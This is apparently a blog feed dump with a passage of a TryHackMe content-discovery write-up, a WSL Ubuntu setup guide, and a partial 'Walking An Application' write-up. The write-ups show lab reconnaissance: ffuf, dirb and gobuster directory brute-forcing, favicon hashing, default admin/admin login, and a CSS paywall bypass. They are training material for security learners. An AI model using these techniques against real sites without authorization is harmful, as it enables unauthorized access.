&lt;p&gt;Content discovery in web application security is the process of finding hidden or unintended public content, such as staff portals, backup files, configuration files, or admin panels. There are three main methods for discovering this content: Manually, Automated, and OSINT (Open-Source Intelligence).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the Content Discovery method that begins with M?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Manually&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the Content Discovery method that begins with A?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Automated&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;**What is the Content Discovery method that begins with O?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OSINT&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Manual Discovery - Robots.txt&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; file is used to instruct search engine crawlers on which pages they are allowed or forbidden to index. For penetration testers, checking this file manually is an excellent way to discover restricted directories or hidden pages (like administration portals) that the website owners want to keep hidden from public search engine results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the directory in the robots.txt that isn&apos;t allowed to be viewed by web crawlers?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.93f0uiAI_Zw0dNC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/staff-portal&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Manual Discovery - Favicon&lt;/h2&gt;
&lt;p&gt;A favicon is a small brand icon displayed in the browser tab. When developers build websites using frameworks and forget to change the default favicon, it can reveal the underlying framework stack being used. By downloading the favicon and generating its MD5 hash, you can compare it against the OWASP Favicon Database to identify the framework.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What framework did the favicon belong to?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DGV9462R_zNahL.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First, we open the page source to obtain the favicon URL.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Btn8EqR5_uorOj.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, we run the following script to generate the MD5 hash of the favicon:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.CiUv4fyl_Z2rQHmQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that, we obtain this hash: f276b19aabcb4ae8cda4d22625c6735f&lt;/p&gt;
&lt;p&gt;We can then search for this hash in the OWASP favicon database: &lt;a href=&quot;https://owasp.org/www-community/favicons_database&quot;&gt;https://owasp.org/www-community/favicons_database&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.m57o2eW6_ZfXY2z.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cgiirc&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Manual Discovery - Sitemap.xml&lt;/h2&gt;
&lt;p&gt;Unlike &lt;code&gt;robots.txt&lt;/code&gt; which restricts access, the &lt;code&gt;sitemap.xml&lt;/code&gt; file provides a list of all the pages and files a website owner explicitly wants search engines to index. Exploring the sitemap can map out the site&apos;s structure and occasionally reveal old, hidden, or hard-to-navigate pages that are still active behind the scenes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the path of the secret area that can be found in the sitemap.xml file?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.DvuRscPa_iSuTh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/s3cr3t-area&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Manual Discovery - HTTP Headers&lt;/h2&gt;
&lt;p&gt;When a web server responds to a request, it returns HTTP headers that can expose sensitive information about the underlying technologies, such as the web server software (e.g., NGINX) or programming language versions (e.g., PHP). Running a verbose HTTP request (like a &lt;code&gt;curl -v&lt;/code&gt; command) allows you to inspect these headers for potential vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag value from the X-FLAG header?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here we just run curl http://IP_MACHINE -v&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.R_bvoprD_1FUQMn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;and we get the flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Manual Discovery - Framework Stack&lt;/h2&gt;
&lt;p&gt;Discovering the framework a website uses—whether through favicons, page source comments, or copyright notices—allows you to research its official documentation. Exploring the framework&apos;s documentation can reveal default administration paths, configuration files, or other endpoints that might lead to hidden content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from the framework&apos;s administration portal?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;we open the view page source and find information below that we can change&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.CU9Fd-MS_1J3K54.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://static-labs.tryhackme.cloud/sites/thm-web-framework&quot;&gt;https://static-labs.tryhackme.cloud/sites/thm-web-framework&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and we get information about the path /thm-framework-login which can be tried with username and password admin admin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.BxF7pnc3_22EXil.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9._mVLEzop_Z18KFrH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.CozZ1rRo_1zR2jO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;and we get the flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: OSINT - Google Hacking / Dorking&lt;/h2&gt;
&lt;p&gt;Google Hacking (or Dorking) utilizes advanced Google search operators to uncover specific, often sensitive, content. By combining filters like &lt;code&gt;site:&lt;/code&gt; (to target a specific domain), &lt;code&gt;inurl:&lt;/code&gt;, &lt;code&gt;filetype:&lt;/code&gt;, and &lt;code&gt;intitle:&lt;/code&gt;, you can pinpoint exposed files, admin portals, or hidden directories directly from the search engine results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What Google dork operator can be used to only show results from a particular site?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;site:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: OSINT - Wappalyzer&lt;/h2&gt;
&lt;p&gt;Wappalyzer is an online tool and browser extension designed to profile websites. It actively identifies the technologies powering a site, including its Content Management System (CMS), underlying frameworks, payment processors, analytics tools, and even specific software version numbers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What online tool can be used to identify what technologies a website is running?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wappalyzer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 9: OSINT - Wayback Machine&lt;/h2&gt;
&lt;p&gt;The Wayback Machine is a digital archive of the internet that takes snapshots of web pages over time, dating back to the late 90s. It can be used to view historical versions of a website, helping penetration testers uncover old, unlinked, or forgotten pages that might still be active on the target&apos;s current server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the website address for the Wayback Machine?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://archive.org/web/&quot;&gt;https://archive.org/web/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 10: OSINT - GitHub&lt;/h2&gt;
&lt;p&gt;Git is a version control system used by developmentteams to track project changes, and GitHub is a cloud-based hosting platform for these Git repositories. Searching GitHub for a target company&apos;s name or domain can occasionally reveal public repositories containing sensitive source code, hardcoded passwords, or other overlooked digital assets.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is Git?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;version control system&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 11: OSINT - S3 Buckets&lt;/h2&gt;
&lt;p&gt;Amazon S3 Buckets are cloud storage containers provided by AWS, used to host files or static websites. If their access permissions are improperly configured, they can unintentionally expose private files to the public. They can often be discovered by searching for URLs following the standard S3 format or automating keyword searches using the company name (e.g., &lt;code&gt;{name}-assets&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What URL format do Amazon S3 buckets end in?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=.s3.amazonaws.com&quot;&gt;https://www.google.com/search?q=.s3.amazonaws.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 12: Automated Discovery&lt;/h2&gt;
&lt;p&gt;Automated discovery involves using specialized tools to rapidly send hundreds or thousands of requests to a web server to verify the existence of hidden files or directories. This process is typically powered by pre-compiled wordlists (like SecLists) containing common file names, and executed using automated directory brute-forcing tools such as ffuf, dirb, or gobuster.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the name of the directory beginning &quot;/mo....&quot; that was discovered?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;in the attack box, we can run this script according to the instructions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://IP_MACHINE/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.D_jjOezl_Z140IE7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;then we try to find the directory using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;dirb http://IP_MACHINE/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.mfwFB9Ii_14ewSc.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/monthly&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the name of the log file that was discovered?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;run gobuster with this script&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir --url http://IP_MACHINE/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.CD14aux6_Z201sDH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/development.log&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/a.CUqtFPuA.webp"/><enclosure url="/_astro/a.CUqtFPuA.webp"/></item><item><title>Fixing WSL Ubuntu Setup &amp; Hostname Issues</title><link>https://farros.co/blog/fixing-wsl-ubuntu-setup-hostname-issues/</link><guid isPermaLink="true">https://farros.co/blog/fixing-wsl-ubuntu-setup-hostname-issues/</guid><description>Step-by-step guide to install Ubuntu on WSL, fix hostname errors, and an honest comparison between WSL and Kali in VirtualBox.</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With Windows Subsystem for Linux (WSL), running a Linux environment on Windows is no longer complicated. The setup is usually smooth until a small configuration detail, like a hostname mismatch, suddenly throws an unexpected and confusing error such as:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.tMkLwjAt_Z29zlPy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo: unable to resolve host &amp;#x3C;hostname&gt;: Temporary failure in name resolution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this guide, I’ll walk through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installing Ubuntu on WSL&lt;/li&gt;
&lt;li&gt;Setting it as the default distribution&lt;/li&gt;
&lt;li&gt;Creating a proper user&lt;/li&gt;
&lt;li&gt;Changing the hostname cleanly&lt;/li&gt;
&lt;li&gt;Fixing the “unable to resolve host” error&lt;/li&gt;
&lt;li&gt;And finally: why I use WSL instead of Kali Linux in VirtualBox — including the downsides.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. Installing Ubuntu on WSL&lt;/h2&gt;
&lt;p&gt;First, check existing WSL distributions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl -l -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If Ubuntu is not installed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl --install -d Ubuntu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After installation completes, launch it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or open via windows start.&lt;/p&gt;
&lt;p&gt;You’ll be prompted to create a default Unix user account.
Choose a clean and professional username (for example, your GitHub handle). This becomes your Linux home directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.m7jnvlBu_bypS3.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/home/yourusername
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2. Setting Ubuntu as Default&lt;/h2&gt;
&lt;p&gt;If Docker Desktop is currently your default WSL distro:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl -s Ubuntu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl -l -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The asterisk (*) should now be next to Ubuntu.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Changing the Hostname Properly&lt;/h2&gt;
&lt;p&gt;To rename your machine, example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo hostnamectl set-hostname sec-lab
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Restart WSL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl --shutdown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reopen WSL and your prompt should look like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;username@sec-lab:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. Fixing the “Unable to Resolve Host” Error&lt;/h2&gt;
&lt;p&gt;After changing the hostname, you may see:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo: unable to resolve host sec-lab: Temporary failure in name resolution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This happens because &lt;code&gt;/etc/hosts&lt;/code&gt; still contains the old hostname.&lt;/p&gt;
&lt;p&gt;Edit it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo nano /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might see:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;127.0.0.1    localhost
127.0.1.1    Old-Hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace the second line with, example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;127.0.1.1    sec-lab
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save, then restart WSL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wsl --shutdown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The error should now be gone.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Installing Essential Security Tools&lt;/h2&gt;
&lt;p&gt;After setup, install a minimal but powerful toolkit, like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo apt update
sudo apt install -y \
curl wget git unzip \
net-tools dnsutils \
nmap python3-pip
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Why I Use WSL Instead of Kali in VirtualBox&lt;/h2&gt;
&lt;p&gt;Many people in cybersecurity default to Kali Linux inside VirtualBox. I did too. But over time, my workflow changed.&lt;/p&gt;
&lt;p&gt;Here’s why I prefer WSL for daily use.&lt;/p&gt;
&lt;h3&gt;1. Performance&lt;/h3&gt;
&lt;p&gt;WSL 2 runs with near-native performance.
No heavy VM overhead.
No manually allocating RAM and CPU.&lt;/p&gt;
&lt;p&gt;VirtualBox always feels heavier.&lt;/p&gt;
&lt;h3&gt;2. Workflow Integration&lt;/h3&gt;
&lt;p&gt;WSL integrates seamlessly with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows filesystem&lt;/li&gt;
&lt;li&gt;VS Code&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;Git&lt;/li&gt;
&lt;li&gt;Windows Terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can develop in Windows while running Linux tools in parallel smoothly.&lt;/p&gt;
&lt;h3&gt;3. Minimalist and Intentional&lt;/h3&gt;
&lt;p&gt;Kali comes with hundreds of preinstalled tools.&lt;/p&gt;
&lt;p&gt;WSL + Ubuntu forces you to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install only what you need&lt;/li&gt;
&lt;li&gt;Understand your environment&lt;/li&gt;
&lt;li&gt;Build your own stack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That’s better for learning and discipline.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;But WSL Is Not Perfect (The Cons)&lt;/h2&gt;
&lt;p&gt;In security communities, WSL often gets criticized and many of it is valid.&lt;/p&gt;
&lt;p&gt;Here are the most common concerns:&lt;/p&gt;
&lt;h3&gt;1. Limited Hardware-Level Capabilities&lt;/h3&gt;
&lt;p&gt;WSL does &lt;strong&gt;not&lt;/strong&gt; support:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Native Wi-Fi monitor mode&lt;/li&gt;
&lt;li&gt;USB wireless injection&lt;/li&gt;
&lt;li&gt;Direct hardware access like a real Linux system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’re doing wireless attacks or hardware exploitation, Kali in a VM or bare metal is still necessary.&lt;/p&gt;
&lt;h3&gt;2. Networking Quirks&lt;/h3&gt;
&lt;p&gt;WSL networking can be confusing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Changing IP addresses&lt;/li&gt;
&lt;li&gt;Port forwarding edge cases&lt;/li&gt;
&lt;li&gt;localhost behavior differences&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It works but sometimes troubleshooting feels non-intuitive.&lt;/p&gt;
&lt;h3&gt;3. Not Fully Isolated&lt;/h3&gt;
&lt;p&gt;A VM provides clear isolation from your host OS.&lt;/p&gt;
&lt;p&gt;WSL is more integrated. That’s great for productivity, but:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mistakes can affect your Windows filesystem&lt;/li&gt;
&lt;li&gt;It’s not as sandboxed as a traditional VM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For risky malware analysis, a dedicated VM is safer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;To be honest, I prefer Linux.&lt;/p&gt;
&lt;p&gt;If I had the choice, I would run Linux as my primary system. I appreciate its philosophy, control, and engineering mindset. However, professional demands often require Windows, and that’s where WSL becomes a practical bridge.&lt;/p&gt;
&lt;p&gt;WSL is not a full replacement for native Linux or Kali in a VM, especially for hardware-level testing or isolated lab environments. But for development, automation, CTFs, and daily security work, it provides a fast and efficient workflow.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.BinY7hEq.webp"/><enclosure url="/_astro/a.BinY7hEq.webp"/></item><item><title>Walking An Application | TryHackMe Write-Up</title><link>https://farros.co/blog/walking-an-application-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/walking-an-application-tryhackme-write-up/</guid><description>Hands-on walkthrough of Walking An Application on TryHackMe, exploring source code, Inspector, Debugger, and Network tools to uncover hidden flags.</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the Walking An Application room on TryHackMe:&lt;br&gt;
&lt;a href=&quot;https://tryhackme.com/room/walkinganapplication&quot;&gt;https://tryhackme.com/room/walkinganapplication&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In this challenge, we manually explore a web application using browser developer tools such as View Source, Inspector, Debugger, and Network to uncover hidden flags and understand how the application works behind the scenes.&lt;/p&gt;
&lt;h2&gt;Task 1: Walking An Application&lt;/h2&gt;
&lt;p&gt;This task introduces how to manually review a web application for security vulnerabilities using the built-in developer tools in modern browsers. Manual testing is crucial because automated security scanners often miss subtle vulnerabilities and valuable hidden information. The primary browser tools utilized in this process are View Source, Inspector, Debugger, and Network.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I confirm that I have deployed the virtual machine and opened the website.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Exploring The Website&lt;/h2&gt;
&lt;p&gt;Exploring a web application as a penetration tester involves hunting for interactive features (like forms or logins) that could be vulnerable. The most effective way to start is by manually browsing the site and documenting the structure. This includes noting down all discovered URLs, individual pages, and writing a brief summary of the features and functionalities found on each page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read the above.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Viewing The Page Source&lt;/h2&gt;
&lt;p&gt;The page source contains the raw HTML, CSS, and JavaScript returned by the server. Analyzing the human-readable source code can reveal sensitive information that isn&apos;t visibly displayed on the webpage. Common discoveries include developer comments containing notes or temporary links, hidden directories, misconfigured directory listings exposing backup files, and framework version numbers that might indicate the use of outdated, vulnerable software.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CVgwhIO7_2wXkzq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First, we open the website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.C6X2Fdu4_Z1qx9Uz.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From the HTML source, we discover a path: &lt;code&gt;/new-home-beta&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.D9YgN9eY_1taexK.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Inside the HTML comments, we find the first flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from the HTML comment?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.plV8S3Wt_by3zQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, we discover another hidden path: &lt;code&gt;/secret-page&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.DYRovnyb_x00dS.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Visiting that page reveals the second flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from the secret link?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.X21VXks2_Z1X9l1q.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;At the bottom of the HTML source, we notice a reference to a directory path: &lt;code&gt;/assets&lt;/code&gt;.&lt;br&gt;
We then try accessing that directory directly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.BTqG0XSa_18PKM7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From the directory listing, we obtain the third flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the directory listing flag?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.BI3luWqR_Z4kzTr.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;At the very bottom, we also see a URL pointing to the web framework:&lt;br&gt;
&lt;a href=&quot;https://static-labs.tryhackme.cloud/sites/thm-web-framework&quot;&gt;https://static-labs.tryhackme.cloud/sites/thm-web-framework&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.D4wJidpu_ZA5LSu.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Inside the changelog section, we discover a new path: &lt;code&gt;/tmp.zip&lt;/code&gt;, which we can further investigate.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.CJVgjT66_1fTjuU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From that file, we obtain the fourth flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the framework flag?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Developer Tools - Inspector&lt;/h2&gt;
&lt;p&gt;The Inspector tool provides a live, interactive representation of the webpage&apos;s Document Object Model (DOM) and CSS styling. Since user interaction and JavaScript can alter what is displayed, the Inspector shows the page in its current state . As a penetration tester, you can use this tool to modify HTML elements and CSS properties on the fly, which is particularly useful for bypassing client-side visual blocks like premium content paywalls (e.g., changing a blocker&apos;s CSS from &lt;code&gt;display: block&lt;/code&gt; to &lt;code&gt;display: none&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag behind the paywall?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.D2zM_jv4_ZHk3Cs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;News&lt;/strong&gt; section, we select &lt;strong&gt;&quot;3 Tips for Keeping Your Printer Working.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.Cu_PEooS_ge6GC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After clicking it, we find that the content is blocked by a popup overlay.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.PGA4HDsr_Zbr16I.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;To bypass this, we can open &lt;strong&gt;Inspect Element&lt;/strong&gt; in the browser and change the CSS property of the overlay from &lt;code&gt;block&lt;/code&gt; to &lt;code&gt;none&lt;/code&gt; to remove the popup box.&lt;/p&gt;
&lt;p&gt;Once the overlay is removed, the hidden content becomes visible and we obtain the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.BoyFMkXg_1t7joI.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
